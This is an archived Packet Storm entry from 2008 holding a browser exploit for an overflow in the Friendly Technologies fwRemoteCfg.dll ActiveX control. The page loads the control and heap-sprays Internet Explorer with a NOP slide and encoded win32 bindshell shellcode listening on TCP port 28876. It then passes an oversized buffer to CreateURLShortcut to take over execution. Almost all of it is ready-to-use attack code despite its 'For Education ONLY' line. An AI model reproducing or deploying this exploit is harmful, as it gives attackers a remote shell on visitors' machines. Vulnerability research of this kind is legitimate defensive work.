friendly-fwremotecfg.txt

🗓️ 29 Aug 2008 00:00:00Reported by spdrType
packetstorm🔗 packetstormsecurity.com👁 18 Views
Document describes a security vulnerability in Friendly Technologies remote configuration software distributed to ISP
`<!--  
"Friendly Technologies" provide software like L2TP and PPPoE clients to ISPs,  
who give the software to their customers on CD so they have less trouble setting up thire connections.  
They also provide remote configuration solutions .. not the best idea if you ask me.  
  
An overflow exists in fwRemoteCfg.dll provided with the dialer,  
an example of the dialer can be found here:  
  
==========================================================  
|| Greetz to the binaryvision crew ||  
|| Come visit @ http://www.binaryvision.org.il ||  
|| or IRC at irc.nix.co.il / #binaryvision ||  
==========================================================  
  
* Tested on WinXP SP2 using IE6.  
** For Education ONLY!  
*** Written by spdr. (spdr01 [at] gmail.com)  
-->  
  
<html>  
<title>Friendly Technologies - wayyy too friendly...</title>  
  
<object classid="clsid:F4A06697-C0E7-4BB6-8C3B-E01016A4408B" id="sucker"></object>  
<input type="button" value="Exploit!" onClick="exploit()">  
  
<script>  
function exploit() {  
var Evil = ""; // Our Evil Buffer  
var DamnIE = "\x0C\x0C\x0C\x0C"; // Damn IE changes address when not in the 0x00 - 0x7F range :(  
// Need to use heap spray rather than overwrite EIP ...  
  
// Skyland win32 bindshell (28876/tcp) shellcode  
var ShellCode = unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");  
  
var payLoadSize = ShellCode.length * 2; // Size of the shellcode  
var SprayToAddress = 0x0C0C0C0C; // Spray up to there, could make it shorter.  
  
var spraySlide = unescape("%u9090%u9090"); // Nop slide  
var heapHdrSize = 0x38; // size of heap header blocks in MSIE, hopefully.  
var BlockSize = 0x100000; // Size of each block  
var SlideSize = BlockSize - (payLoadSize + heapHdrSize); // Size of the Nop slide  
var heapBlocks = (SprayToAddress - 0x100000) / BlockSize; // Number of blocks  
  
spraySlide = MakeNopSlide(spraySlide, SlideSize); // Create our slide  
  
  
// [heap header][nopslide][shellcode]  
memory = new Array();  
for (k = 0; k < heapBlocks; k++)  
memory[k] = spraySlide + ShellCode;  
  
// Create Evil Buffer  
while(Evil.length < 800)  
Evil += "A";  
Evil += DamnIE;  
  
// Pwn  
sucker.CreateURLShortcut("con", "con", Evil, 1); // Using 'con' as filename, we dont really want to make a file.  
}  
  
function MakeNopSlide(spraySlide, SlideSize){  
while(spraySlide.length * 2 < SlideSize)  
spraySlide += spraySlide;  
spraySlide = spraySlide.substring(0, SlideSize / 2);  
return spraySlide;  
}  
</script>  
  
</html>  
  
`
29 Aug 2008 00:00Current
7.4High risk
Vulners AI Score7.4